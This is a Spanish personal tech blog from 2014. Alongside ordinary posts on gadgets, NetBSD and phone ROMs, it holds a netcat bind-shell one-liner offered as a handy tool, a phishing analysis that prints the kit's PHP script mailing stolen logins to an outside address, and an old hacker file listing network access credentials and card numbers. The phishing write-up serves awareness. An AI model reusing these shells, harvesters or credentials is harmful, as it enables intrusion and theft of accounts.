Programa Astronomia


Un programa gratuito para Astronomía para móviles.
http://www.celestron.com/support/celestron-skyportal

Pedazo de telescopio....
http://www.astroshop.de/celestron-schmidt-cassegrain-teleskop-sc-150-1500-nexstar-evolution-6/p,44972

SilverLight en Ubuntu


Un buen instructivo sobre como hacer funcionar SilverLight en Ubuntu.
http://www.noobslab.com/2014/04/pipelight-silverlight-alternative-for.html

TOX chat


El programa que estoy usando estos dias para Chats seguros, funciona en Android, Linux y Windows.
https://wiki.tox.im/Binaries

jueves, 16 de octubre de 2014

0Dayz


Otra semana de sustos con 0Dayz.
http://www.isightpartners.com/2014/10/cve-2014-4114/#

CoinBase en Madrid


Estaré en el evento de COINBASE, para los que quieran ir.



Good news - Coinbase is now available in Spain!

And to celebrate our launch, we'd like to meet you in person. You're invited to a free meetup on Thursday, October 23 at 18:30 at Daroca, 15 in Madrid.

At this event we will have:

A presentation by the founders of Coinbase, Brian Armstrong and Fred Ehrsam, followed by Q&A from the audience and a chance to ask them anything you’d like

A networking session afterward with beer and wine provided free of charge

An opportunity to meet other local bitcoin enthusiasts in Madrid

As we continue to expand, we’re interested in hearing your feedback to continue improving Coinbase and helping bitcoin grow.

Time: Thursday, October 23 at 18:30
Location: Daroca, 15
Address: Av de Daroca, 15, 28017, Madrid

Register here for the event

Hope to see you Thursday!

Alemania.


En Alemania parece que también estaba/está la N.S.A.
http://electrospaces.blogspot.com.es/2014/10/the-german-operation-eikonal-as-part-of.html

Fiesta del Cine . 2.9€


La semana que viene tendremos la semana de Fiesta del Cine, con entradas a 2.90€, un bastante razonable para ir al cine con la familia.
Creo que sería el valor que deberían tener siempre las entradas, durante todo el año.
Sitio oficial para pedir entradsa.
http://www.fiestadelcine.com

Danger.


Una página con "prototipos peligrosos".... vale la pena ver sus proyectos.
http://dangerousprototypes.com/

lunes, 13 de octubre de 2014

ChromeBooks


Hoy recibí un email de MediaMarkt sobre "los nuevos chromebooks", básicamente netbooks pero ahora con Google Chrome instalado como única aplicación.
Algo similar a un tablet con Android, o un Ipad pero la 3ra opción.
Algo de info aqui.

Personalmente todavía no me interesa ni probarlo, es algo que me parece como "la moda", quizás lo probaría si me regalasen una, pero pagar no lo veo inteligente aún.

Mirando un poco la historia y tratando de hacerlo resumido, veo que fueron apareciendo dispositivos/equipos para todos los gustos, y el mercado fue quien reguló cuales deberían mantenerse y evolucionar y cuales simplemente morían por no ser aceptados. Punto. Algo parecido a las distros de Linux y a la teoría de la evolución.

Mis recuerdos en equipos:
* Hosts, desde los 80 hasta ahora se usan menos pero siguen sobreviviendo.
* Personales, TI99/4a, Commodore, Spectrum. Luego fueron consolas de juegos, hoy vigentes como notebooks.
* PCs (como el IBM PC), siguieron como equipos de mesa.
* Nintendo, PlayStation, Xbox, aparecieron por los 90 y siguen hoy en dia, hay fanáticos que no las cambian por PCs.
* Newton, un PDA de Apple que murió, quizas fue el gérmen para muchos otros, puede que apareció demasiado rápido.
* PALMs, algo similar, tuvieron su época y luego murieron.
* Macs con su propio S.Operativo, luego diversidad de equipos, luego ya adoptaron un Unix con el System X. Equipos grandes, chicos, tablets, teléfonos.
* BlackBerrys, boom en América, luego fueron lentamente reemplazadas por otros teléfonos, siempre mal pero no muere nunca.
* Pda Compaq con Linux OPIE, un prototipo que hoy parece haber sido la semilla de los teléfonos con Android.
* Móviles Nokia, durante un tiempo los números Uno, luego una muerte anunciada y ahora ya dejaron Symbian y corren Windows O.S.
* EBooks con el Kindle y otros que fueron apareciendo, todavía siguen vivos, tienen todavía un nicho de mercado
* IMac, un prototipo de Dot station para internet, no fue masivo su uso en el mercado.
* El almacenamiento local, luego en servidores, luego local, luego en servidores en internet, luego N.S.A. y paranoia...
* IntelDotStation o paquito en ES, similar, la idea era buena, pero la gente no lo aceptó.
* Repro de CD, DVD, Blueray, mp3, avi y otros... hoy creo que todos estan muertos, reaparece ahora ChromeCast como USB repro.
* Teléfonos, desde los 90, evolucionaron, mas grandes, pantallas táctiles. masificación en medidas, S.O., reemplazaron a cámaras de fotos, a discos externos, a tablets, a portátiles, a reprod. multimedia.
* Notebooks, luego netbooks mas pequeñas, luego diversidad de pantallas, potentes para gamers, limitadas y con bajo consumo (Asus eeepc como ejemplo), luego mas potentes hasta con I7, mas ram.
* Táctiles, desde los monitores táctiles, tables, portátiles con display y pendrive (x201t), Ipad, teléfonos, Microsoft con su surface (que llega tarde al mercado).

Me alegra que tengamos diversidad, así antes los problemas/virus/bugs no todos están afectados, algo similar al mundo de los animales y la disparidad existente.

Siempre aparecen híbridos,
teléfonos con Linux (como el viejo compaq con Opie),
tablets pequeñas de 7",
teléfonos grandes de 7 " como las tablets.
S.O. de notebook en teléfonos.
S.O. de teléfonos en tablets y Notebook (Win 8, Surface, Android)
Notebooks potentes y muy poco potentes, grandes y pequeñas. Un mercado enorme.
Teléfonos de tantas medidas, con cámaras de 24 megas, mucho almacenamiento...
Mix de todo, que sirven para leer, para usar teléfono, con S.Operativos de notebook, conectividad a internet, almacenamiento local....

Siempre Apple, Google y Microsoft con soluciones masivas, basadas en internet, productos nuevos pero con fracasos en medio.

Que es lo que sobrevivirá a la evolución?


martes, 7 de octubre de 2014

Sistema operativo Seguro.


Para los que prefieran un S.Operativo realmente seguro, NETBSD. 6.1.5
El HowTo install XFCE4.
http://slice2.com/2013/10/10/howto-install-the-xfce-4-desktop-on-netbsd-6-1-2/

http://ftp.netbsd.org/pub/pkgsrc/packages/NetBSD/amd64/6.1.4/All/

export PKG_PATH="http://ftp.netbsd.org/pub/pkgsrc/packages/NetBSD/amd64/6.1.4/All/"

pkg_add -v pkgin*

pkgin update

pkgin xfce4

Para que se vea bien XFCE4..... falta esto
pkgin install dejavu*

Links de la Semana


17.000 Macs infectadas
http://thehackernews.com/2014/10/over-17000-mac-machines-affected-by_6.html

Primer caso de ébola en Madrid, Contagiado por un infectado, nos estamos acercando a MadMax o a Terminator?

Un web de retroinformatica
http://culturainformatica.es/page/2/

Yahoo hacked. Winzip Troyanizado.
http://www.futuresouth.us/yahoo_hacked.html

Seguimos con los coletazos del BASH, actualizaciones casi a diario, servidores vulnerados y troyanizados. Quiero volver a los orígenes.
Freebsd.org, Ghostbsd y OpenBSD para los mas espartanos.
Todo esto sumado a la NSA metiendo troyanitos, Apple con sus cositas, Microsoft con Windows 10 y el keylogger.
Problemas hay en todos, pero parece que todavía los BSD son una alternativa.

miércoles, 20 de agosto de 2014

Almacenamiento


Hoy estuve haciendo pruebas de velocidad de I/O en dispositivos, buscaba verificar si se puede usar un teléfono como Pendrive o hay que seguir llevando un pendrive usb 3.0 porque la diferencia de velocidad es mucha.

Pendrive y teléfono SGS3 conectados a puertos USB 3.0 de un portátil
Fichero para pruebas, ISO de 886 mb
Portátil con Linux 3.13.0
SGS3 con Firmware Slim

PENDRIVE Datatravel 100 g3 - 8 GB
26 segundos para leer de Pendrive y grabarlos en un PC (dice 34 mb/s)
86 segundos leer PC y grabar en el pendrive

PENDRIVE Kingstone - 32 GB - filesystem msdos
26 segundos para leer PENDRIVE y grabar en PC
63 segundos para leer PC y grabar en pendrive (dice 17 mb/s)

Móvil SAMSUNG S3
61 segundos par leer del teléfono y grabar en el PC (dice 17 mb/s)
115 segundos para leer de PC y grabar en teléfono (dice 7.5 mb/s)

Hay pequeñas demoras desde que hago el "pegar" hasta que comienza
y otras desde que acaba hasta que cierra el diálogo de "copiando".

Todos los tiempos incluyen esas demoras.

Un punto importante es que el teléfono tiene habilitada la encriptación de la memoria, eso quiere decir que además de grabar los datos también está haciendo un proceso de CPU para encriptarlos, y eso puede estar metiendo una demora en el proceso.

Ahora tengo claro que si quiero velocidad mejor un pendrive, ya hay algunos realmente pequeños.

Un pendrive es un 57% mas rápido en Lecturas que el teléfono
y un 25% mas rápido en grabaciones.

Un teléfono sirve como almacenamiento temporal perfectamente, pero para copias donde se requiera velocidad, mejor un Pendrive.


martes, 19 de agosto de 2014

NetCat


Una herramienta que nunca hay que olvidar....

EQUIPO 1
nc –l –p 3333 –v –e cmd.exe

EQUIPO 2
telnet xx.xx.xx.xx 3333


lunes, 18 de agosto de 2014

Samsung GT-i9300 S3 roms


Durante los últimos 3 años estuve usando una ROM que me gustaba mucho, MIUI de Xiamomi, una empresa China.
Lo empecé a usar con un HTC Desire, luego un Desire Z y luego en un Samsung S3.
Tengo que reconocer que es una ROM sencila, directa, fácil de usar, con cierto parecido a un Iphone, rápida... todas ventajas.
Participé de la comunidad de MIUI en U.K. y en ES. actualizaba semanalmente la ROM con las versiones oficiales y hasta la semana pasada estaba muy contento con eso.

¿ Que pasó ?
Que XIAOMI esta sacando teléfonos nuevos, Smart T.V.s y ampliando muchisimo sus usuarios en China y en el mundo.
Algunos amigos de Madrid estan pensando comprarse un nuevo MI4 que está saliendo ahora mismo a la venta en China.
Los teléfonos que venden son mas baratos que aparatos similares de Samsung, Apple o Nokia.
Llevan una ROM basada en Android pero modificada con una interfaz simplificada y liviana.
Millones de "temas" para cambiar la parte estética del teléfono y hacerlo un poco diferente, no es útil pero es bonito y evita aburrirte con los mismos colores.
La parte estética es algo que MIUI cuidó siempre, una comunidad gigante en el mundo logra

El 8 de Agosto salió la última rom para mi teléfono (Samsung S3 gt-i9300). Y no habrá nuevas actualizaciones.
Al mirar en los foros oficiales descubro que MIUI solo dará soporte a los teléfonos que el fabricante de soporte, dicho en otras palabras....

Samsung no dará soporte ni actualizaciones de Android al S3 y Miui tampoco. Eso quiere decir que no habrá nuevas versiones oficiales MIUI y tampoco se habrá de Samsung oficialmente.

¿ Que quiere decir esto ?
Posibles problemas, vulnerabilidades, congelamiento de mejoras, etc.etc....


¿ Soluciones ?
Otras ROMs que si sigan dando soporte al Samsung S3... no es un teléfono tan viejo ni tan malo como para quitarlo.

* Slim.
Uno de los chicos del trabajo dice que va bien, así que probaré esa versión.
Ya pondré información en las próximas semanas.

* OmniRom
No tengo experiencia ni referencias.
Parece que tienen versiones Nightly y semanales, muestra que hay un seguimiento.

Cyanogen ? seguramente.

Y otros cientos de firmwares distintos.

Me parece increible que una empresa como Samsung discontinúe un modelo del vendido con dos años en el mercado, entiendo que quieran vender modelos nuevos, pero no me gusta el que tenga que cambiar un teléfono cada 2 años, sobretodo cuando es un teléfono de empresa y donde debo "justificar" que compren uno nuevo, simplemente porque el firmware no tendrá mejores ni parches.

En ese punto Xiaomi sigue dando soportes a sus teléfonos viejos, MI2 y MI3...




PARA HACER UN FLASH de la NUEVA BIOS.
Flashing SlimRoms coming from another ROM or Android version (e.g. slimbean to slimkat) (Clean flash):
- Download latest SlimRoms and latest gapps and put them on your sd card
- Boot to recovery
- In CWM, do a factory reset, wipe cache and in mounts and storage section format system
- In TWRP choose advanced in wipe section and wipe dalvik, cache, system and data
- Flash ROM
- Flash Gapps
- Reboot, setup and enjoy.

Diccionarios


No hablo de los que explican el significado de una palabra, sinó de los que tienen millones de conbinaciones de caracteres y que se usan para identificar la clave de una cuenta.
Los chicos de Dragonjar han hecho un recopilatorio bastante bueno, aún no he bajado todo porque ahora mismo no lo necesito, pero es bueno tenerlo a mano para el futuro.
EL LINK.

Snowden Y Wired


La última nota que le hicieron a Edward Snowden.
http://www.wired.com/2014/08/edward-snowden/


En el último reportaje Snowden comentó que la caída completa de Internet en Syria de hace 2 años se debía a que la NSA trataba de meter sus programitas y cometieron un error.
A esta altura de los hechos, cada caida de un sitio web hará sospechosos a los chicos de la NSA, hace tiempo Google tuvo una caida masiva, también Yahoo, Microsoft...
No quiero parecer paranoico pero pasan tantas cosas que ya veo gente mirándome en todos lados, hasta cuando duermo.

AesCrypt


Uno de los productos que están apareciendo luego del tema TrueCrypt.

miércoles, 13 de agosto de 2014

Wifi y Avast


Avast te informa que estás conectado a una red SIN CLAVE y que la NSA te puede escuchar....
Recomiendan que pagues por un servicio que ofrecen para instalarte un Proxy.
Es la primera ves que lo veo, pero me parece mucho mejor esto que no decirte nada.

Dump Your Smartphone to Protect Privacy: John McAfee

viernes, 8 de agosto de 2014

Origami y Robotica.


Como el origami, nuevos materiales y la robótica trabajan juntos.
La nueva generación de productos Skynet.

Linux en el espacio.


Esto no es nuevo, pero el post habla de que la NASA y la Agencia Espacial Europea usan Linux, diferentes colores.... pero Linux, abandonaron XP.

Defcon 21


Todas las charlas ordenadas en un solo sitio.

Ubuntu con Mir.


Algo para probar el fin de semana.
Poner a funcionar MIR en Ubuntu.

Gato, Wifi y hack.


Un proyecto "extremo" como tantos otros para hacer hacking de redes wifi...
Mezclado con el concepto de que cada ves que abres una red Wifi estas matando un gatito.

martes, 5 de agosto de 2014

Phishing...


Hoy recibí un correo de una lista a la que estoy suscripto, la redacción era bastante buena pero me llamó la atención el correo y sospeché que algo no estaba bien.
El texto del mensaje parecía correcto y traía debajo la firma correcta de quien lo enviaba.

******************************************************************
Google Drive. Mantenga todo. Compartir nada

Por favor revise el documento que he subido para ti usando a Google docs. CLICK aquí puedes firmar con tu correo electrónico para ver el documento es muy importante.
Gracias.

La Empresa
Direccion Nro
Madrid
******************************************************************





Al mirar el contenido interno del email en texto veo esto.

******************************************************************
Google Drive. Mantenga todo. Compartir nada

Por favor revise el documento que he subido para ti usando a Google docs.
CLICK aqu http :// e2elders.org / tuesday/gdocs/ puedes firmar con tu correo
electr=C3=B3nico para ver el documento es muy importante.

Gracias.
******************************************************************


Apunta a un sitio E2ELDERS.ORG..... sospechoso



Al pedir la página http://e2elders.org/tuesday/ en un navegador, me encuentro con esto.


******************************************************************
Index of /tuesday

Parent Directory
akira gdocu.zip
gdocs/

Apache Server at e2elders.org Port 80
******************************************************************



Bajo el fichero ZIP, lo abro en una carpeta local y encuentro esto.



Y al abrir el documento INDEX, veo esto....
Un sitio bastante bien hecho que puede engañar a los usuarios a que metan sus datos para ver un fichero adjunto.
Seguramente la mayoría de los navegadores y antivirus identificarán al sitio como PHISING.... pero puedeo que algunos caigan.




Al hacer CLICK en una de las imágenes, pide los datos y los enviará al email Newmanstuff@outlook.com.
Supongo que alguien del otro lado levanta los correos de ese email (Outlook) y recolecta miles de emails y passwords de sitios webs.


******************************************************************
< ? $adddate=date("D M d, Y g:i a"); $mesaegs ="php_info";$mesaegs ="@"; $ip = getenv("REMOTE_ADDR"); $mesaegs ="ymail";$mesaegs =".com"; $message .= "---------=ReZulT=---------\n"; $message .= "Online ID: ".$_POST['x0r1']."\n"; $message .= "Password: ".$_POST['x0r2']."\n"; $message .= "---------=IP Adress & Date=---------\n"; $message .= "IP Address: ".$ip."\n"; $message .= "Date: ".$adddate."\n"; $message .= "---------=by TeaserZ Wire=---------\n"; $sent ="Newmanstuff@outlook.com"; $subject = "Googledocs | hotmail"; $headers = "From: TeaserZ Wire";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
{
mail($mesaegs,$subject,$message,$headers);
mail($sent,$subject,$message,$headers);
}
header("Location: loading.htm");
? >

******************************************************************




Un mayor análisis muestra que el acceso al GMAIL se produce desde el mismo equipo pero el código se baja desde Holanda.

******************************************************************
Whois output for: wire.dan.gr
Hostname: WIRE.DAN.GR
Status: active
Registrant: micheal allen
Email: hidden (Contact the owner)
Redirects to: http://hosting7135001.az.pl/wp-rcf/sp%20pg2.html
Total hits: 6230
******************************************************************







RESUMEN DEL INCIDENTE
Te envían un email a tu cuenta gmail, con un mensaje bastante bien armado que parecía que era real indicando que accedas a ese link.
Para quien tiene algo de experiencia en temas de seguridad, jamás lo abrirías, pero miles de usuarios SI lo hacen.
Al Acceder a ese link desde un equipo sin antivirus (Avast lo detectada como phishing), se infecta tu equipo.
El troyano se inserta en el browser, corre en tu sesión con GMAIL, parte HTML y parte JavaScript
Establece una sesión contra un servidor externo desde donde baja código y otras páginas.
Lee la lista completa de contactos de Gmail y mandó 2 emails (uno a las cuentas A-L y otro M-Z), pidiendo que abran un documento de GMAIL enviando una página falsa.
En esa página falsa, mediante phishing pide que te valides, tengas cuenta en Outlook, gmail, yahoo o otros sistemas.
Al meter usuario / password, esos datos se envían por email a una cuenta de Outlook, indicando tambien IP, hora, etc.

Aunque el problema inicial es que un usuario hace CLICK en algo que no debe, el daño que genera y la cantidad de cuentas afectadas comienza a aumentar exponencialmente, tratando de infectar a todos los contactos de todos los contactos.


Mas noticias preocupantes. Cuantos equipos estarán vulnerados ?

jueves, 31 de julio de 2014

Móviles hack.


Un link donde muestran como hacer "cositas raras" con teléfonos....

Hack 1980 Argentina


http://cd.textfiles.com/hackersencyc/HACKING/NETWORK/MAC_NUAS.TXT

TELEFONOS DE ARPAC:
-------------------
954-2424 //953-0756/0759/3705/3805/3905/0761/0749/0750/7313/7533/7603/7793/3390

COMUNICACIONES POR MODEM:
------------------------

--------------------------------------------------------------------------------PROCEDIMIENTO EXACTOA COMUNICARSE CON ARPAC:
--------------------------------------------------------------------------------1) DISCAR EL NUMERO RPAC.
UNA VEZ CONECTADO, TIPEAR .. (DOS VECES . Y [ENTER] )
2) EN LA PANTALLA DEBE APARECER ARPAC
AHORA, TIPEAR LA NUI CORRESPONDIENTE -(EXACTAMENTE COMO ES, SI LAS LETRAS
ESTAN CON MAYUSCULA, DEBEN PONERSE CON MAYUSCULA. CUALQUIER ERROR DE TIPEO
PUEDE SER CAUSA DE UNA COMUNICACION NO EXITOSA)- SEGUIDO DE LA NUA CON LA
QUE UD. QUIERE COMUNICARSE. POR EJEMPLO, PARA COMUNICARSE CON LA NUA
NRO: 208057040540 (QSD BBS FRANCE)

N910499817/DEMOS-0208057040540 [ENTER] (no esperaras que el NUA /DEMOS
|----------------||----------| funcione, no???)
| || |
----------------------------
IMPORTANTE: Las Bases de Datos (NUA's) en Argentina NO REQUIEREN NUI,
por lo tanto, para llamar a ACAMATICA, debe tipear .. y luego 211101216 [ENTER]
--------------------------------------------------------------------------------
CIBA: RED ARGENTINA 300 BPS. Telefonos: 40-0100 / 40-0190
Terminal ID: Poner "a" (Sin ENTER)
Username: enarg588net
Password: silgete
(el Password lo pregunta 2 veces, la primera con la palabra "Password", y la se-
gunda vez con el signo ";" ... Vuelva a tipear el PASSWORD.
--------------------------------------------------------------------------------
NUAs DE DISTINTOS PAISES:
------------------------
NOTA: Los numeros que comienzan con el signo + (MAS), no son NUA's, son Telefo-
nos, a los cuales se puede tener acceso mediante los GOD's o los OD's.

211101216.........: ACAMATICA - ARGENTINA - WITHOUT NUI
211103021.........: TELECHAT - ARGENTINA - WITHOUT NUI
211103127.........: GUIA ENTEL - ARGENTINA - WITHOUT NUI
211107173.........: INFO ARPAC - ARGENTINA - WITHOUT NUI
21110717..........: DELPHI - ARGENTINA - WITHOUT NUI
211103122.........: AEROLINEAS ARENTINAS - ARGENTINA - WITHOUT NUI
211101217.........: ACINDAR - ARGENTINA - WITHOUT NUI
208057040540......: QSD - FRANCIA - SISTEMA MULTICHAT (Varios Users en Linea)
228475212574......: PEGASUS - SUIZA - Amplia Lista de NUAs de BBS del MUNDO
310600584401......: WASHINGTON POST - (Password: KRON)
724111320430......: BBS DE SAO PAULO (005GUEST Password for NewUsers)
2502030500........: CCCP1 - MOSCU (En Febrero 28 abajo 250299000036)
2502040300........: CCCP2 - Inst. Automatica - Lvov, Robot, New-Russia
959574312417......: CCCP3 - RUSIA -
60593910711.......: GALIPUS - HOLANDA -
27401199100.......: GALACTICOM BBS - ISLANDIA -
274011991222......: ELITE BBS
23226221127023....: TRABANT BBS - BERLIN - Account: Merlin
2422450134........: BBB (Micro Man,ID:crazy,Password:join_hub)
2841321606........: BullPac - BULGARIA -
234219201156......: ESA
208075000394......: AIEA
655011101207......: UNIT NET SCO - SUDAFRICA -
22222700096.......: UNKNOWN NAME - MILAN -
72411188058.......: UNO BBS - BRASIL -
26245400080177....: LUCIFER - ALEMANIA -
23226181139.......: DREAM ISLAND - VIENNA - SISTEMA MULTICHAT -
310690157800......: BIX
311020200202......: COMPUSERVE
440881807401......: KAMOME - JAPON -
2240013400........: CITYBANK
22225110373.......: ITAPAC SAMNET
274011991222......: PLASTIC BBS (AMIGA)
274011991000......: VILLA BBS
274011999519......: VILLA BBS
23226181139.......: UNKNOWN - USA -
26245213120133....: ALEMANIA - GUEST GUEST
23421920014880....: UNIVERSITY
+(617)354-8873....: NET1 BBS - BOSTON -
+(617)258-7111....: TERMINUS - BOSON -
+(617)354-8873....: CHANNEL 1 - BOSTON -
+(305)354-0873....: CHANNEL 1 - MIAMI -
+(305)235-4335....: SparrowHawk - MIAMI -
+(714)226-3310....: - SANTA ANA -
+(714)662-1748....: - SANTA ANA -
+(714)251-2698....: - SANTA ANA -
+(714)444-5615....: - SANTA ANA -
+(714)596-6077....: - SANTA ANA -
+(714)247-1305....: - SANTA ANA -
+(714)599-3004....: - SANTA ANA -
+(714)821-3316....: - SANTA ANA -
+(714)221-1571....: FLORIDA BBS - SANTA ANA -
+(408)867-5139....: THE WARDEN -
+(408)971-0172....: UNKNOWN - UNKNOWN -
+(408)563-2206....: UNKNOWN - UNKNOWN -
+(201)988-4004....: HOMEBASE Mc Afees BBS - NEW JERSEY -
+(305)988-4004....: HOMEBASE Mc Afees BBS - MIAMI -
+(813)332-5306....: SYNTAX BBS - TAMPA -(Miko Lox, Henry Marx, PASS:BASIDOUPTC)
+(813)436-1988....: IBM Connection - TAMPA -
+(813)696-8910....: UNKNOWN - TAMPA -
+(213)289-3314....: GodFather BBS - LOS ANGELES -
+(213)287-3984....: SunShine BBS - LOS ANGELES -
+(213)274-1333....: ELITE BBS - LOS ANGELES -

--------------------------------------------------------------------------------LISTA DE PADS:
--------------
302071100215......: CANADA - Poner "DATAPAC" [ENTER] y despues P1+NUA
26245803113059....: ALEMANIA - (PAD: OPCION 20)
425130000221......: ISRAEL - Service: PAD UserID: GOLAN
3106000633........: USA - TYMNET UNIVERSITY -
2680202106026.....: PORTUGAL -
72411672182.......: BRASIL - (Name:X25 Pass:GATEWAY)
+55111533.........: BRASIL - RENPAC - NUI: NUA+85FIFT1111
+39228720.........: ITALIA -NUIs: NBIBJL6-0+NUA NQ34E68-0+NUA NE1OFTI-0+NUA
+470165...........: NORUEGA - NUI: N00128HAMMER-0+NUA
+190123...........: UNKNOWN - NUI: N000566REFLEX-0+NUA
85002379741149....: VUI PORTUGAL
--------------------------------------------------------------------------------LISTA DE VAX:
-------------
22011110002062....: Serbia VAX - UserID: SABINA Pass: YANYASVSAN
2201611001738.....: User: PCSOFT Pass: PCSOFT
22222800173.......: NODE LINA - GUEST
20233181282010....: GRECIA - User: AMETROP Pass: EIEEIE
PAD COMMAND: RLOGIN LEON Pass: EIEEIE despues: PAD 0+NUA
20233181282042....: GRECIA - GUEST
set proc/priv=all
--------------------------------------------------------------------------------LISTA DE GODS (Globat Dials):
---------------------------------
MODO DE USO: Una vez conectado (COM) debe tipear: ATZ .Debe aparecer OK.
Luego, si quiere comunicarse a un BBS en USA, tipee: ATDT 1+AREA CODE+NUMBER
Si el BBS que ud. desea comunicarse, no es en dentro de U.S.A, debe tipear:
ATDT 011+COUNTRY CODE+NUMBER. Ejemplo ARGENTINA ARPAC: ATDT 0115419533705
GODS:
31105120000803
302091600123
7222211103127
31106170002604
LISTA DE ODS (Out Dials):
-------------------------
MIAMI.............: 311030500121 AREA CODE: 305
SANTA ANA.........: 3110741400213/311071400021 AREA CODE: 714
NEW JERSEY........: 311020100301 AREA CODE: 201
TAMPA.............: 311081300124/311081300021 AREA CODE: 813
LOS ANGELES.......: 311021300413 AREA CODE: 213
UNKNOWN...........: 311040800111/311040800110 AREA CODE: 408
BOSTON............: 311061700026/311061700313 AREA CODE: 617
--------------------------------------------------------------------------------TARJETAS DE CREDITO: son NUA's, son numeros de Tarjetas Truchas)
--------------------
323432353425423...: MASTER CARD
376400359102025...: AMERICAN EXPRESS
--------------------------------------------------------------------------------